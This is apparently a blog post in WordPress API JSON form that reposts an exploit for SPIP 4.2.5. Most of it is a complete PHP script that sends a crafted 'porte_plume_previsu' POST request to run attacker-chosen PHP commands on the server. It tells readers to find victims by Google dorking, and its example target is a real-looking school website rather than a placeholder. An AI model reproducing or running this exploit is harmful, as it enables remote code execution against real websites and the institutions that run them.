{"id":59237,"date":"2024-08-29T19:59:56","date_gmt":"2024-08-29T16:59:56","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180453\/spip425-exec.txt"},"modified":"2024-08-29T19:59:56","modified_gmt":"2024-08-29T16:59:56","slug":"spip-4-2-5-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/spip-4-2-5-code-execution\/","title":{"rendered":"SPIP 4.2.5 Code Execution"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : SPIP 4.2.5 PHP Code execution Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) |<br \/>| # Vendor : https:\/\/www.spip.net\/ |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n<p>[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n<p>[+] Line 49 : Set your target.<\/p>\n<p>[+] Save Payload as poc.php and run from cmd = C:\\www\\test&gt;php poc.php<\/p>\n<p>[+] Payload :<\/p>\n<p>&lt;?php<\/p>\n<p>class IndoushkaExploit {<br \/>private $targetUrl;<br \/>private $payload;<\/p>\n<p>public function __construct($targetUrl, $payload) {<br \/>$this-&gt;targetUrl = rtrim($targetUrl, &#8216;\/&#8217;) . &#8216;\/spip.php&#8217;;<br \/>$this-&gt;payload = $this-&gt;generatePayload($payload);<br \/>}<\/p>\n<p>private function generatePayload($payload) {<br \/>\/\/ \u062a\u0648\u0644\u064a\u062f \u0627\u0644\u062d\u0645\u0648\u0644\u0629 \u0645\u0639 \u062a\u0636\u0645\u064a\u0646 \u0627\u0644\u0623\u0645\u0631 \u0627\u0644\u0645\u0631\u0627\u062f \u062a\u0646\u0641\u064a\u0630\u0647<br \/>return &#8220;[&lt;img&#8221; . rand(10000000, 99999999) . &#8220;&gt;-&gt;URL`&lt;?php {$payload} ?&gt;`]&#8221;;<br \/>}<\/p>\n<p>public function exploit() {<br \/>\/\/ \u0625\u0639\u062f\u0627\u062f \u0628\u064a\u0627\u0646\u0627\u062a POST \u0627\u0644\u062a\u064a \u0633\u064a\u062a\u0645 \u0625\u0631\u0633\u0627\u0644\u0647\u0627 \u0625\u0644\u0649 \u0627\u0644\u0647\u062f\u0641<br \/>$data = http_build_query([&#8216;action&#8217; =&gt; &#8216;porte_plume_previsu&#8217;, &#8216;data&#8217; =&gt; $this-&gt;payload]);<\/p>\n<p>\/\/ \u062a\u0647\u064a\u0626\u0629 \u0637\u0644\u0628 HTTP \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u062f\u0627\u0644\u0629 cURL<br \/>$ch = curl_init($this-&gt;targetUrl);<br \/>curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br \/>curl_setopt($ch, CURLOPT_POST, true);<br \/>curl_setopt($ch, CURLOPT_POSTFIELDS, $data);<\/p>\n<p>\/\/ \u0625\u0636\u0627\u0641\u0629 \u0631\u0624\u0648\u0633 \u0645\u062e\u0635\u0635\u0629 \u0644\u062a\u062c\u0627\u0648\u0632 \u0627\u0644\u0645\u0646\u0639<br \/>curl_setopt($ch, CURLOPT_HTTPHEADER, [<br \/>&#8216;Content-Type: application\/x-www-form-urlencoded&#8217;,<br \/>&#8216;User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/58.0.3029.110 Safari\/537.3&#8217;<br \/>]);<\/p>\n<p>\/\/ \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0637\u0644\u0628<br \/>$response = curl_exec($ch);<\/p>\n<p>\/\/ \u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f \u0623\u062e\u0637\u0627\u0621 \u0641\u064a cURL<br \/>if (curl_errno($ch)) {<br \/>echo &#8220;cURL Error: &#8221; . curl_error($ch) . &#8220;\\n&#8221;;<br \/>} else {<br \/>echo &#8220;Exploit Sent! Response:\\n&#8221;;<br \/>echo $response;<br \/>}<\/p>\n<p>curl_close($ch);<br \/>}<br \/>}<\/p>\n<p>\/\/ \u0645\u062b\u0627\u0644 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645<br \/>$targetUrl = &#8216;https:\/\/eps.enseigne.ac-lyon.fr\/spip\/&#8217;; \/\/ \u0627\u0633\u062a\u0628\u062f\u0644 \u0647\u0630\u0627 \u0628\u0627\u0644\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u062d\u0642\u064a\u0642\u064a<br \/>$payload = &#8216;system(&#8220;pwd&#8221;);&#8217;; \/\/ \u0623\u0648\u0627\u0645\u0631 PHP \u0627\u0644\u062a\u064a \u062a\u0631\u064a\u062f \u062a\u0646\u0641\u064a\u0630\u0647\u0627<\/p>\n<p>$exploit = new IndoushkaExploit($targetUrl, $payload);<br \/>$exploit-&gt;exploit();<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : SPIP 4.2.5 PHP Code execution Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 129.0.1 (64 bits) || # Vendor : https:\/\/www.spip.net\/ |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] Line 49 : Set your target. [+] &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59237","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59237","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59237"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59237\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59237"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59237"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59237"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}